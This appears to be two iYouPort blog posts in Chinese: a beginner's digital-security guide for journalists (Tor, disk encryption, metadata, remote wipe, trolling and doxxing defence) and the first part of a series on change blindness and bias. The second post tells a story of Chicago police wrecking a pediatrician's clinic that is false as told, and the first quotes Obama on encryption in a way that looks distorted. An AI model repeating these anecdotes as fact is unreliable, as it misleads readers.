> 真相是危险的东西，这在任何国家都一样，撒谎是每一种权力稳固自身的通用方式。正因为如此，真相是捍卫民主的最有力武器。当您手握真相时，安全保护是非常关键的基础部分

「图」

本文不仅提供给在职记者，也包括公民记者，所有手握真相的人。真相是危险的东西，它会激怒作恶的人，尤其是不择手段作恶的人，他们会不惜一切地阻止真相的曝光。

但是很多人依然不重视这个问题，当我们谈论安全防护时总会听到一些记者这样回复："我没有什么可隐瞒的"；或者："反正我也不写任何敏感的东西"……但本文面向的就是普通记者和任何公民记者，如果是参与透明度革命的深度调查记者，则需要在保护层面做得更多。

作为普通人，请考虑一下：你会写一些可能让某人感到不安的东西吗？因为更常见的状况是，对手会试图通过散播你的个人、家人、财务等隐秘信息来恐吓你或羞辱你。这种事可能很难彻底避免它，但你完全可以通过自我保护让攻击变得足够难。

一直以来，我们大多数人都没有足够的知识、经验或时间来真正了解对我们的隐私至关重要的技术细节。本指南介绍一些更容易获得的措施和解决方案，至少可以减少您的脆弱性。因为隐私保护通常与锁自行车的工作方式相同：你只需确保自己的锁比您旁边的自行车更坚固。

基本规则

请注意，这些解决方案的使用仅在技术上有所帮助 — — 它不能减轻我们对良好实践的需求（例如，确保不打开可疑的附件和可疑链接，

尤其是来自未知发件人的链接；不要安装来自未知生产商的应用程序等等）。最后但同样重要的是：计算机和手机都应该配备最新的防病毒软件。

- 延伸阅读：当您不确定一个链接是否安全但又非常想知道其中的内容，应该怎么办《把危险隔离出去》

还必须记住，不要对不同的服务使用相同的密码，以及选择一个安全的密码，它不能是单词组成的，而是一个由大小写字母、数字和特殊字符的组合。

另一个相当不错的解决方案就是在您的计算机和手机上使用密码管理器（如 LastPass.com或 1Password）在所有设备上都适用。不幸的是，这也是存在风险的，尤其是对敏感人士来说，因为最终，如果有人抢走了您的计算机或管理员密码，那么就能立即获取您的所有密码。

我们现在专注于监控的主要威胁，但不关注公司的广告或跟踪 — 因此不会讨论像 Adblock，Adblock Plus 这样的应用程序（虽然更好的似乎是 uBlock Origin），还有 Privacy Badger，uMatrix 或 Ghostery，但绝对鼓励您比较它们并选择合适您的方案使用它。

还有一件事。在您能够使用 Wifi 之前许多公司需要自定义安装证书（弹出窗口说：'点击此处接受'）。您必须记住，即使站点使用了安全的 https 连接，它也可能使我们暴露在监控中（有时因为提供 WiFi 的公司要求监控所有流量） — 简而言之，如果您使用带有自定义证书的 Wifi，那么就关闭 wifi 进行机密传输，一般情况下，当你真正想要确定连接时，总是使用VPN（要选择安全的 VPN：在这里验证您的 VPN 连接是否安全；推荐的安全 VPN 在这里）。

在计算机上

-1 Tor browser

适用于 Windows，Mac，Linux 的免费浏览器，可防止第三方（例如您的 ISP）跟踪您的浏览历史记录。它对阅读特别有用，而不是积极参与，因为那时你仍然会提供信息。它还避免了各方确定我们的位置。值得记住的是，不要用它登录 **Google** 帐户，否则您的搜索信息仍将被谷歌记录（所以您应该使用的是 **DuckDuckGo** 或 **StartPage** 这样的搜索引擎）。

我们推荐过挂 Tor 登陆 Twitter、Facebook 等老大哥平台，但是要知道，由于 Tor 的三级跳隐藏性，您的账户很有可能因此被这些老大哥公司视为可疑。您大概会经常遭遇要求验证手机的状况。

- 在这里看到使用 Tor 的必需注意事项《使用 Tor 保护自己时千万不要做这九件事》

-2 Bitlocker (Windows) FileVault (MacOSX)

从政府的大规模监控、到普遍的在线跟踪、再到网络犯罪分子，危险无处不在。但有一种明显的方法可以缓解各种隐私威胁：那就是加密。

请记住奥巴马三年前所说的话："在任何情况下，我们都不希望真正强大的加密"。他非常诚实，因为好的加密能够给他们这些老大哥制造足够的麻烦。并记住 Snowden 说过的话："加密会有效。正确实施强大的加密是您可以信赖的少数抵抗方法之一。"

当您试图保护自己的隐私时，可能完全不清楚该如何开始使用加密。但一个显而易见的起点是，隐私优势很高、技术学习曲线很低的方法，也就是所谓的全盘加密。只需要很少的工作量就可以开始使用。

如果你想加密硬盘并让它真正有助于保护你的数据，就不应该只是打开加密功能; 而是应该了解磁盘加密保护的基础知识，不保护的内容以及如何避免可能让攻击者轻易绕过加密的常见错误。

- 那么什么时候磁盘加密无效？

有一种常见的误解，即加密硬盘会使您的计算机安全，但这并非完全正确。事实上，磁盘加密仅对有物理访问您计算机的攻击者有用。它并不会使您的计算机更难以受到通过网络进行的攻击。

攻击者仍然可以利用社交工程学欺骗您安装恶意软件，您仍然有可能访问了恶意网站，等等无数被入侵的形式。当然，磁盘加密对阻止互联网监控也没有任何作用。像 NSA 这样的间谍机构，可以利用构成互联网骨干的光纤电缆，几乎可以监视你在网上做的所有事。需要完全不同的加密类别来解决该系统性问题。

但是现在重要的是要知道磁盘加密可以防止单一攻击：物理访问。磁盘加密的目标是，如果不是您本人的某个人访问您的计算机，比如抢走设备的警察，他们将无法访问您的任何文件，只会看到乱码，无用的密文。

BitLocker 和 FileVault 只是最懒的解决方案。更好的选择是免费开源程序 VeraCrypt（适用于 Windows，MacOSX，Linux）。它绝对是无价的，特别是如果你使用几个不同的系统并有特定的愿望的话。

在脑子里

作为记者，您将记录、存储和传输大量的材料。这些材料中的一些可能是很敏感的。如果不希望曝光它们的人知道你持有这些材料，您和您的信息源都会陷入危险。

您应该采取措施确保敏感材料的安全存放，并且不会使自己或自己的来源处于危险之中。

最佳实践：保护您的材料：

- 查看材料的内容并评估是否可能使您或您的资源受到威胁；
- 评估您与之联系的人的身份是否会使您或他们面临风险；
- 考虑一下您的存储选项。您应该权衡将材料保持在线（在云端）或硬件（如硬盘驱动器或 USB）上是否更安全；
- 考虑传输或发送材料的最佳选择。请勿通过社交媒体网站发送您不希望公开的敏感材料或线索；
- 加密您的设备和文件；
- 了解元数据，及其如何使您面临风险。元数据的示例可以包括在线消息的发送者和接收者的时间、位置和联系细节。

对于元数据的具体方案，接下来我们会有一个系列文章详细讲述，关于如何利用，以及如何防止被他人利用。

私下共享文件

您可能需要通过 Internet 与他人共享敏感文件，但这可能会使您和其他人面临风险。以下是有关如何更安全地共享文件的一些提示。

1. 设置匿名电子邮件帐户：

您可能想要设置一个与您的身份完全无关的电子邮件地址。如果您这样做，您写信的人也应该设置一个与其身份完全无关的帐户。

研究您的电子邮件服务商，使用不在您或您的联系人管辖范围内的电子邮件服务提供商。

确保电子邮件服务提供商的所在国家/地区拥有强大的隐私权法律，

并检查公司记录的信息。元数据可以包含诸如 IP 地址之类的信息，您应该希望公司尽可能少地保留元数据。

检查公司是否使用 SSL 连接，如果不是那就不安全。"在此处"输入您要查看的网站的网址，检查站点的 **SSL** 详细信息。需要 **A** 或 **B** 等级才行。

连接到匿名电子邮件服务器时使用虚拟专用网络（VPN），而且不要在能识别您身份的地点使用 VPN（比如办公室或家）；检查电子邮件服务提供的邮件存储量，并评估它是否足以满足您的需求。

加密文档和文件。

切勿将帐户链接到您的任何其他帐户或将其用于任何其他目的。使用完毕后始终删除帐户。

2.使用临时文件共享服务

如果您不想设置匿名加密电子邮件帐户并且无法亲自与某人见面，则可能需要使用临时文件共享服务。这些服务允许您发送文件而不将其链接到您的身份。

常用的临时文件共享服务包括："Firefox Send" 、"Onion Share"

3. 元数据

您的文件可以存储诸如姓名或姓名缩写、公司或组织名称、和/或计算机个性化信息之类的数据。还可以保存有关从中复制文件的网络或其他计算机的详细信息，任何文件编辑者或贡献者的姓名以及编辑历史记录等。

图像和视频则包含大量有关所用摄像机类型的数据，以及创建图像或视频的时间、日期和位置，您的设备信息等，大量与您的身份相关的信息。

注意： 如果处理敏感报道，请使用与您完全无关的设备。

通过将文档和照片上传到 **Exifdata** 来测试哪些元数据存储在文档和照片中。不要将任何敏感材料上传到网站; 而是使用不包含重要内容的文件。

您可以使用适用于 iOS 的应用程序，检查使用 iPhone 拍摄的照片的

元数据，这里：iPhone。

您可以通过 Chrome 和 Firefox 浏览器上的附加功能检查 Internet 上找到的图像文件的 exif 元数据：Exif add for Firefox 、Metadata on add for Chrome

您还可以采取措施从材料中删除元数据。以下内容可用于执行此操作：

- 对于Microsoft Office，请使用 Document Inspector。
- 对于 Android 照片和视频，请使用 ObscuraCam。

「图」

在您的设备上保持材料安全

a) 永久删除文件：

从垃圾箱中删除的材料会保留在硬盘驱动器上，并可以被恢复。要确保永久删除材料，您需要重新擦除文件。您可以使用许多工具来执行此操作。

永久删除文件的工具 — 橡皮擦：适用于 Windows 的；适用于 Mac 的永久橡皮擦。

b) 远程擦除：

有时可能会丢失设备或者设备被抢走。为了保护您的材料和数据并将风险降至最低，您应远程擦除计算机上的内容。

1、如何仅擦除 Intune 托管应用中的数据？

这里可以删除从应用直接同步到本机通讯簿的联系人。 无法擦除从本机通讯簿同步到另一个外部源中的任何联系人。目前仅适用于 Microsoft Outlook 应用。

创建擦除请求

- 登录到 Azure 门户。
- 选择“所有服务”，在筛选器文本框中键入“Intune”，然后选择“Intune”。 Intune 窗格随即打开，选择“客户端应用”窗格。
- 在“客户端应用”窗格中，选择“应用选择性擦除”。

- 选择“新建擦除请求”。 “新建擦除请求”窗格打开。
- 选择用户，然后点“选择”，以选择你要擦除其应用数据的用户。
- 然后，从“新建擦除请求”窗格中选择“设备”。 此操作会打开“选择设备”窗格，其中列出了与所选用户关联的所有设备，还提供了两个列：“设备名称”（用户定义的友好名称）和“设备类型”（其设备平台）。 选择要擦除的设备。
- 现在已返回“新建擦除请求”窗格。 选择“确定”以提出擦除请求。
- 服务会为设备上的每个受保护应用以及与擦除请求相关联的用户创建并跟踪单独的擦除请求。

监视擦除请求

您将获得一个汇总报表，其中介绍了擦除请求的总体状态，并包括挂起请求数和失败次数。 若要获取更多详细信息，请按以下步骤操作：

- 在“客户端应用 — 应用选择性擦除”窗格中，可以查看按用户分组的请求列表。 由于系统会为设备上运行的每个受保护应用都创建一个擦除请求，因此对于某个用户，你可能会看到多个请求。 状态指示擦除请求是“挂起”、“失败”还是“成功”。
- 此外，还可以查看设备名称及其设备类型。
- ⚠ 用户必须打开应用才能进行擦除，进行请求后可能需要最多 30 分钟才能完成擦除。

删除擦除请求 — — 非常重要

手动删除擦除请求：

- 在“客户端应用 — 应用选择性擦除”窗格上。
- 从列表中，右键单击要删除的擦除请求，然后选择“删除擦除请求”。
- 系统将提示你确认删除，请选择“是”或“否”，然后单击“确定”。

远程擦除 iCloud 就非常简单了，见苹果的帮助页面。

对于手机的远程擦除

从 Android 2.2 开始，远程擦除已经成为操作系统的一项功能。必须通过 Exchange 服务器或中央 Google Apps 帐户启动远程擦除。如果

您是独立或小型公司从业者，或者您只是独立于办公室使用该设备，您可能需要安装第三方应用程序才能启用远程擦除。

这个功能的两个流行的应用程序是：

Android Lost （免费）

允许用户通过互联网或短信远程控制 Android 手机。可以用它来阅读短信收件箱/发送短信，擦除手机，锁定手机，找到设备等等。

Where’s My Droid Pro （3.99美元）

就是类似「Find My iPhone」的程式。

如果是黑莓可以安装 RIM 提供的应用程序：BlackBerry Protect。该应用程序通过 BlackBerry AppWorld 下载，安装后您将能够无线备份设备，锁定或擦除其内容，通过 GPS 定位设备，并快速将设置和数据恢复到新设备。

但是要知道，无论是 Apple 或是 google Android 的寻找手机程式，都是防君子不防小人的，如果有目的的人拿到您的手机，只要立即移除该 Wheres My Droid 程式，或是关闭 Wi-Fi 或 3G 行动上网的话，这些都会不起作用。所以还要看运气，并且您的动作要尽可能快速。

在社交媒体

TROLLING 和 DOXXING 是最常见的。社交媒体对于记者来说已经变得越来越重要，作为促进他们的工作和发表意见的工具。这便也导致了 trolling 形式的在线滥用程度增加。

Trolls 可以是真人或机器人运行的虚假账户。他们有几个目标。一是通过留下非常多的评论以淹没正常的讨论，使记者无法参与对话。另一种是恐吓或威胁记者。并且在某些情况下，trolls 可能会试图入侵记者的账户。一旦记者被确定为 trolling 的目标，上述状况随时可能会发生。

当记者涉及某些政治问题，或政治、人权、种族、女权主义和妇女权利等问题时，非常可能成为 trolls 的目标。重要的是要确定 **trolling** 的原因和 **trolling** 的目的，以保护自己。

分为两部分。

1、在攻击前：

- 通过创建安全的加长密码和/或考虑使用密码管理器来保护您的帐户免遭黑客入侵；
- 为您的帐户启用双因素验证。如果有人试图破坏您的帐户，系统会提醒您；
- 查看社交媒体帐户的隐私设置，并锁定您不希望公开的任何信息；
- 在线筛查您的照片，并评估使用这些照片是否会被用来诋毁您。Trolls 经常盗用在公共领域中发现的图像，并将其用作玷污记者形象的一种方式。这些图像通常是完全正常的日常照片，但是您应该用攻击者的视角来判断它们，一旦有可能，请立即删除；
- 定期查看您的社交媒体网站，以及时掌握可能表明 trolling 情况开始的评论。在报道发表之后要特别警惕，特别是如果它是一个吸引 trolls 兴趣的话题的话。

2、在攻击期间

- 当发生 trolling 时尽量不要与攻击者交战，因为这会使情况变得更糟；
- 看看 trolling 的类型（真人还是机器人），并试图确定谁是背后的人。挖掘 **trolls** 背后操纵者的身份 IYP 有两篇文章介绍这一方法，见下面👇；
- 您可能想要阻止或静音 trolls。您应该向社交媒体公司报告任何辱骂或威胁的 trolls。更改Twitter上的设置以控制您在Feed上看到的内容；
- 如果 trolling 涉及诽谤您的角色和/或您的工作，请考虑动员一组支持者在社交媒体上联合抵制；
- 如果攻击特别糟糕，您可能需要考虑下线；
- 考虑让您的编辑和主要工作联系人了解情况；
- 记录攻击。有关如何执行此操作，请参阅 TrollBusters 在线骚扰指南（下图）。

「图」

- 关联：《一个对网络水军背景进行开源调查的演示》
- 《查找水军机器人的幕后推手：用于域名、IP 和电子邮件之间的可视化关系》

Doxxing

Trolling 攻击也可能涉及 doxxing，发生在个人信息（例如地址或电话号码）在线公开的时候。此信息通常来自公共数据库或记者的在线资料。攻击者还可以破解您的帐户以获取个人数据。然后，该信息被用作骚扰和/或恐吓记者的方式。这可能会有不同的威胁程度，从电话骚扰到拦路威胁等等。

在攻击之前

- 查看您的在线个人资料，最好使用 OSINT 的方法筛查包含有关您和您家人的个人信息的网站，例如搜索目录和名册等。您可以删除这些信息，这取决于不同国家的网站和法律，比如在美国就可能需要花钱，在欧洲不需要；
- 删除社交媒体网站和网站上公开的联系方式和个人数据，例如您的出生日期等。为与您联系的一切人创建仅限工作使用的电子邮件地址；
- 锁定社交媒体帐户上的隐私设置。记住对手有可以通过您的家人和朋友的账户获取大量信息；
- 为您的帐户创建强密码；
- 查看您帐户中的内容，包括社交媒体上的电子邮件和私信，以获取可能会使您面临风险的任何信息。如果可能的话，删除任何可能会对您造成伤害的内容。

在攻击期间

- 如果您认为您或您家人的生命可能处于危险之中，请考虑重新安置。在这种情况下，Rory Peck Trust 等组织可能会提供建议和支持；
- 记录攻击并创建事件日志；
- 查看您的在线个人资料并删除所有个人信息；
- 更改常用帐户的密码。攻击者有可能尝试访问这些帐户；
- 让您的银行、公用事业公司和移动电话公司知道您需要防止欺诈性地使用这些服务；
- 让人们知道你已经被攻击，包括家人、雇主和您的朋友，告知他们小心。

在社会上

正如有许多不同类型的记者一样，也有不同类型的计算机程序员。

其中一些人致力于保护互联网言论自由，其中包括从事数字安全问题的技术人员。他们设计、构建和测试工具，以帮助人们在线保护自

己。

这些计算机程序员通常喜欢透明度，是开源的支持者，以便其他人可以查看代码并查找错误。开源是一个绝好的标志，表明您使用的工具得到了技术社区成员的认可。

数字安全建议会定期更改，这对记者来说既困惑又麻烦。作为记者，重要的是要了解为什么会发生这些变化，并随时了解数字安全领域正在发生的事。

于是我们强烈建议您与当地的技术社区合作。计算机程序员、设计人员和数据专家经常会创建新工具，他们当然希望记者与他们合作并提供有关软件设计、可用性或其他方面的反馈。

就像自由撰稿人一样，一些计算机程序员经常很难通过工作获得足够报酬。许多项目通过赠款和捐赠来资助，或者在空闲时间无偿的服务。

总体上看起来，中国最缺乏的就是组织和联合的能□（□港缺乏社区间协作能□）或者说，没能充分使□互联□的优势。社区间的联合能保证□家不会重复劳动、互相助益，并能有效的分□和协助，还能促进凝聚□和提升解决问题的效率。

□万个前提是：安全！我们不需要出师未捷。上述只是最基本的安全保护，每一位掌握真相的人不论是不是专职记者，都应该掌握这些知识。并且，衡量您掌握的信息的敏感程度，如果敏感程度过高，则需要更多和更深入的安全保护。IYP 经常提供安全知识和技术的介绍分析，希望能为所有需要的人提供帮助。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

人们只会看到自己想要看到的东西：为什么视而不见（1）- 您知道该往哪看吗 - iYouPort

为什么视而不见

灯下黑是一种值得思考的心理现象，每个人都存在；而社交媒体可能放大了人的弱点

「图」

「图」

您曾经被别人误读过吗？

您想表达的是A意思，而想要骂您的人却从中读出了B意思，继而由此开始骂您；您给出能证明自己正确的例子，而对方根本不想去读 ……

中国工人的罢工运动量冠全球，却有很多人继续声称 “中国人根本不会反抗”；疫情期间如此多中国人谴责当局的 “防疫” 手段之不人道不公平，却依旧是这些如此之多的人声称 “中国人都是***（贬义词）”；如果您随便询问任何中文推特用户关于隐私保护知识和技术，其中大部分人都会给您推荐正确的网站和博主，但与此同时，大部分人都会告诉你 “中国人不懂/根本不在乎隐私人权” ……

我敢保证您肯定遇到过上述一种或多种情况，这些案例可以无限举例，并且不限国籍 —— 这些特征在全世界人类中都有鲜明的体现。

芝加哥媒体曾经报道过一件可怕又可笑的事：一群治安官员突袭了当地一家著名的儿科医生的诊所，把一切搞得稀巴烂。他们为什么会这么做？

根据警方的说法，原因是：这些治安官不小心把 “儿科医生 pediatrician” 一词误认成了 “恋童癖者 pedophile” 了。

此事中的受害者 —— 那名儿科医生，被迫离开了自己的住所，因为她的住所墙外被喷上了 “paedo” 的字样（恋童癖的缩写）。事后她接

受媒体采访时说：“我觉得我这次真的受了无知的害”。

这是真事。也许听起来有点奇怪？其实并不难理解，就如那些在推特上由于误读而追着骂您的人一样，他们的脑子里只有“证明我自己才是对的／简体字推文都是傻逼”的想法，才造成了他们对您的真正观点视而不见；同样，这些突袭儿科诊所的警察满脑子都是“要抓住所有恋童癖分子，要立功，要完成任务”的想法，结果就是……

「图」

「图」

90%的人都会出错

别埋怨那些人，其实我们中大多数人都会出现那种错误，在自己无法意识到的时候。

统计数据足够显示，大多数灾难都是人为失误造成的：70%的飞机坠毁、90%的车祸、90%的工作场所意外事件……可惜，事情一旦被归因为“人为失误”，好像这事儿就结束了，就没人深究了。

误读中断了民主对话和探讨，“无知之害”破坏了一家有前途的诊所，坠机和车祸威胁生命，自嘲和虚无摧毁联盟……

如果人们真的希望减少这类失误，就必须就此进一步探讨，以寻求减少此类现象的有效方案。

请不要误会，许多时候出错并非“人品问题”。在看待周围事物的时候，您的视觉、记忆、感知都会受到某些系统性偏见的影响；由于这些根深蒂固的偏见，人们会在不知不觉中陷入错误。比如习惯用右手的人进入一栋建筑物后会习惯于向右转——尽管那不是最近的路线；或者大多数人对数字7和蓝色有特殊的偏爱，等等。

您还会受到第一印象的摆布，甚至包括您从未见过面的、道听途说的“第一印象”——比如我告诉您说某个您完全不认识的人“不靠谱”，您就很可能对此人产生先入为主的恶劣印象，此印象将左右您了解和理解这个人的一切，从网络发言到社交媒体照片。这就是为什么“"人格暗杀"”作为"渗透抗议运动"的武器从古至今都如何高效。

“期待”会影响您看待世界的方式，也会影响您的行为。上述只是例子之一；这种案例比比皆是。

比如，如果我告诉您我的新女友是餐馆厨师，您就很可能会脑补出一个比较胖的姑娘，相反，如果我说我的新女友是舞蹈演员，您就很可能脑补出一个比较瘦的形象来。是谁在规定参观厨师必须是胖子？

同样，特朗普的粉丝会对特朗普的功劳如数家珍，对其劣迹不以为然；相反，拜登的粉丝会对特朗普的劣迹如数家珍 …… 如果我拿着一只新出炉的面包并告诉您“这个面包已经过期一个礼拜了”，您就很可能会吃出“奇怪的味道”，或者干脆拒绝品尝。

研究发现，有70%的人即使知道自己当初选择某只股票的理由是错误的，但依旧倾向于坚持最初的选择。

固有的观念是人们在很大程度上难以自己觉察到的。其实人类有很多优秀的品质，可以让您做好各种各样的事；然而这些品质又同时具有鲜为人知的一面，足够把您的所有努力付之东流。

举个例子，人类可以快速对事态的发展作出判断，可以在十分之一秒的一瞥间将一副场景尽收眼底，而且通常可以捕捉到该场景的内涵和主题。但是，这种能力是有代价的：您往往不会觉得自己遗漏了什么，自以为看到了一切但实际上并没有。

这里的典型例子就是电影。电影胶片是由一幅幅独立的画面构成的，然后以每秒24帧的速度播放；但它们被投放到屏幕上时人们就看不到静止的画面了，而是活动的影像。当然，电影是一种美妙的错觉，您可以尽情享受其中的乐趣；但有些时候视觉误差却是致命的，可能带来严重的后果 —— 比如医生没有看到X光片中已经显示出来的癌变线索，再比如安检员只看到了卡哇伊的行李箱和抱着萌娃的漂亮女人，而没有注意到箱子里的炸弹 ……（谁又会把蜡笔小新和炸弹联系在一起呢？）

一般而言，一个人能在短时间内记住5项互不相干的事物，在很大程度上这是个极限，如果没有经过专业训练的话；但看看您的汽车，您在驾驶时需要记住多少东西？—— 仪表导航系统、速度控制器、防碰撞预警装置、盲点预警装置、后视摄像头、儿童娱乐系统、音乐播放器、移动电话 …… 现代汽车配备了太多的东西，过度地分散了驾驶员的注意力，从而增加了车祸风险。当发生车祸时，您应该怪谁呢？人，还是汽车？

对错误根源的这种误判比比皆是，也是人们不断重蹈覆辙的一个重要原因。很少有人能真的做到吃一堑长一智，因为人们找到的往往不是问题的根源。

比如，您觉得人们之间为什么互不信任？为什么一场美国的选举都能撕裂中国的社会？…… 为什么您又把自己所在门外了？

也许您觉得找一位中立的调查人员来评估是个好主意。但调查人员也会受到偏见的困扰：他们经验中的东西会影响他们对新出现的问题的判断。那就太糟了。

公民调查人员必须警惕这个问题，因为你们没有经过专业训练，经验将指导大多数思考；这就很容易造成对不同寻常的状况缺乏感知力。我们在 “侦探挑战” 系列中介绍的更多是思考方式，而不是模式，它们将致力于促进您对新事物的感知力，不断更新思考的主动的。希望您可以抓住这一要点。

关于公民调查的技巧，可以在 列表-3 “让它民主” 中看到更多。

「图」

「图」

为什么专业人士更具洞察力

不同的人对同一个场景具有完全不同的观察方式，专业人士和业余爱好者对同一件事的观察也会有所不同，其中一个原因就是人们常说的 “冷静观察期”。

“冷静观察期” 是指需要精确调整运动反应的一段时间；是在您对目标的最后一瞥和您的神经系统开始对此作出反应之间的时间。研究显示，在很多体育运动项目中，专业选手和初学者在冷静观察期上的差异都非常明显。

专业选手的冷静观察期总是比业余人士更长。多看几眼再下结论的确是很有好处的，但您得首先看对了地方。

比如高尔夫球，在挥杆的最后几秒中 ，专业选手会目不转睛地盯着球看，很少会注意周围的其他任何东西包括球杆。而缺乏训练的选手会被球杆甚至草坪转移注意力。

世界上很多伟大的球手就曾经实施过 “准分子激光原位角膜磨镶术 LASIK”，把视力矫正到20/15或更高。这意味着他们可以在20英尺之外清晰地看到正常视力的人在15英尺之内看清的东西。运动设备巨头耐克甚至推出了一种专门减少视觉干扰的推杆，这个的球杆和手柄都

是绿色的 —— 可以和球场上的草地融为一体，以避免分散球手的注意力，而刀背式球头的前缘和T形瞄准线都是白色的，这样球手就可以把注意力更好地集中在球杆和高尔夫球接触的那个部位了。

您呢？注意到关键位置了吗？围观美国大选的中国人把注意力放在了候选人身上 —— 是的，就是那些表演者—— 这真是太糟糕了，比盯着草坪击球还糟糕。

围观其他国家的选举是很好的经验积累，只有互联网才能提供这种便利的直观经验，尤其是对于没有选举经验的国家的人们来说，这些观察将最有可能帮助您提高公民意识，在未来于本国实现最民主的选举。要做到这点的前提是，您应该将自己想象成选民，用公民利益去思考，而不是把自己想象成候选人，站在权力博弈的角度评判。

这类 “盯着草坪击球” 的案例比比皆是。冠状病毒吓坏了全世界的人，然而如果您将注意力发在病毒本身上 —— 盯着新增病例，只要没有新增就能松一口气，那就会错过更重要的东西。

因为我们这些人都没有死，我们需要继续经历 *后疫情时代* 完全不同的世界：政治、经济、国际关系、社会、反抗运动、乃至生活方式，一切都将被改变，这意味着经验会失败，人们应该寻求突破性的创新以应对这一局面。未来我们会发布一本书详细解释这个问题。

「图」

「图」

人们只会注意那些自己的关心的东西

在互联网上 “做内容” 的人都会对此有深刻感受 —— 并不在于您提供的内容本身有多高价值，而是取决于读者自己是否意识到了这些东西而不是那些，才是价值。

简单说就是，这是一个关于某人在某个时刻将注意力集中在哪里的问题。

不论您是专业人士还是外行，即使是拥有良好视力的人也有可能出现令人震惊的视而不见错误，其中最令人诧异的就是对变化视而不见。上述冠状病毒的例子只是其中之一。这种现象很普遍，即 在短暂的视觉干扰后，人们难以察觉到场景中重大的视觉变化。

曾经有一个很著名的实验展示这个问题。这个实验的设计很简单且调皮，来自两位康奈尔大学的研究人士，他们找来一些愿意扮演“陌生人”的实验者，在校园内随机地找人问路。

就在这些“陌生人”和过路人交谈的时候，研究人员设计了一个视觉干扰 —— 一个打断 —— 就是让另外另个人抬着一扇门从对话的人中间穿过去。

其实对话被打断的时间很短，大约只有1秒钟，但就是在这一秒钟内发生了一个重要的变化：抬着门的两人中的一个人，会和那个扮演“陌生人”的实验者对调一下。于是，当那扇门被抬过去后，和路人对话的不再是先前的陌生人，而是最初抬门的人中的一个。路人没有看到这个变化过程（有门挡着呢）。

新替换上来的人继续和那位路人对话，就像什么都没发生一样。那么，这位路人会发现和自己说话的人已经不是原来的人了吗？

实验结果显示，在多数情况下，路人都没有注意到对方已经不是同一个人 —— 15个路人中只有7个人注意到了变化。

也许您觉得自己可以注意到这种变化。当然，也许您可以；但是想想看，您是否经历过数不胜数的类似变化却没有注意到呢？就如电影中的穿帮镜头，您都发现了吗？

剪辑方面的失误可以说数不胜数，因为电影中很多场景不是按照放映顺序拍摄的，而是最终通过剪辑组合在一起。比如一场公路赛车的镜头，在电影中也许不到5分钟，但是整个过程的拍摄时间可能间隔数月甚至数年，这就很容易让剪辑出现穿帮。

最重要的是，观众不一定就能看出来。

也许您对自己观察事物的能力很有自信，您相信自己能注意到其中的变化。其实，正是这种想法令“视而不见”变成了一件有意思的事。

就如上面那个“门”的实验，其中就有一个单独的问题：研究人员找来50个人参与测试，向这50人解释了实验的情况后，问大家是否相信自己能看出其中的变化，结果如您所预见，50人全部举手了。

其实测试结果与此完全相悖。研究人员指出，在人的视线范围内，眼睛只能清晰看到两个度，这是个很小的范围 —— 握紧拳头把手臂伸出去，然后竖起你的大拇指，这根大拇指的宽度就是大约两度。

在电影院里，试着做这个动作，冲着大屏幕伸出大拇指，您就能意识到自己能看清的范围到底有多小了。

没错，您可以在此之外看到一些东西，但那只是大致模糊的东西，而清晰的部分只有那两度。正因此，人们很可能难以注意到关键细节。

能否注意到细节在一定程度上还取决于您如何定义自己。再一次，在“门”的实验中，有7个人观察到变化的问路者身上有一个共性：他们都是与那些“陌生人”年龄相仿的学生。在某些方面来说这个发现完全不具备纠正答案的价值；社会心理学家已经表明，人们对待与自己同属一个社会群体的人的态度，和对待不同群体的人的态度，也许完全不同。

比如黑人遇到白人的时候（反之也是如此）或者穆斯林遇到汉人的时候，年轻人遇到老人的时候、男人遇到女人的时候 …… 他们的行为方式会自动显示出差异。还记得操纵系列中的一集《想象中的美女》吗？使用的就是这种下意识。

但研究人员想要知道，这些下意识的行为差异会不会影响人们对他人的看法？

研究人员们继续用实验寻找答案。这一次，问路的“陌生人”不再是学生的休闲装式样，而是打扮成建筑工人的样子，穿着工服、戴着安全帽；同时，他们只接触和他们年龄相仿的路人。

这些“建筑工人”总共遇到12位“路人”，在这12人中，有4人注意到门经过后对方换人了。换句话说，让实验者打扮成建筑工人 —— 不同于学生 —— 就足以改变学生看待他们的方式：一身衣服就让他们被视为“另一群体成员”了。

一位没有发现换人细节的被试在结束后表示她只看到了一个“建筑工人”，而没有注意到这个人的具体情况。也就是说，在她眼中，迅速将对方定义为“建筑工人”了，而没有看到细节的不同 —— 比如发型、眼神、笑容、身体特征等等；她把整个场景中的具体信息全部转换成了一个抽象的对事物意义的理解。

这正是您在社交媒体上经历的事：这个是左，那个是右，那个是傻逼，这个是嘚瑟逼 …… 因为在这里，几乎每个人采取的浏览模式都如那位失败的被试一样，走马观花，没有目的，没有学习和钻研的意识；这无疑会让您错过重要的东西，并且尤其是，会将您圈入狭小的同温层里。

重要的是要记得，在此没有人能绝对自信，尤其是那些没有经历过专业训练的人。视觉捕捉到的具体信息和该事物的意义之间存在一种互换的关系：换句话说，在我们明确事物的意义时，它的具体信息就会被大脑忽略掉。

「图」

「图」

如果你不常看的一件东西，你就总也看不到它。

上面这句话在大多数情况下都适用。比如，想想看您平时读些什么书？这些书之间是否具有高度的共性？回忆您经常去的图书馆，是否有些柜子您从来都不会走上前去，就如同它们不存在一样？我敢说绝大多数人都是如此，这就是为什么我们认为“读书多”并不意味着“知识充足”，因为大多数人会专注于自己感兴趣的狭小领域、符合自己立场的内容，换句话说，读书是在寻求迎合自己的东西。

有一个著名的视觉注意力实验，其中要求志愿者在几千张图片中找到一个固定的物体，比如锤子。这种状况就如一个乱糟糟的办公室、卧室、或塞满东西的大冰箱。

当锤子多次出现在图片中的时候，志愿者们的错误率很少，只有7%。但当工具较少出现的时候，比如每一百张图片中才会出现一次，志愿者的错误率就突增到30%。

为什么呢？因为他们主观放弃了，由于很难找到（很难获得成功感）。这被称为“退出阈值”，即 在特定的一段时间内，如果自己还是找不到规定的物品，就干脆放弃，不再去找了。通常而言，观察者在寻找屡屡失败时，会放慢自己的寻找速度；而取得成功后，会加快自己的寻找速度。如果持续找不到，就会加快放弃的速度。

实际上，实验中的被试在还没有坚持到找到目标物所需的平均时间时，就会放弃寻找。这会让您想起那些声明退出推特返回微博的人吗？因为他们看到了太多的垃圾内容，还没来得及找到真正有意义的内容时就直接放弃了。这正是营销账户和机器人试图导致的结果之一。

（不要错过，如何在推特上更准确地找到您想要的内容）

了解您的大脑是帮助您控制它（而不是让它控制您）的一个重要起点，专业训练正是旨在帮助您了解自己的缺陷，从而知道从何处努力

去规避思维陷阱；我们将在下一集中细说这件事。〇

—— 未完待续 ——

原文

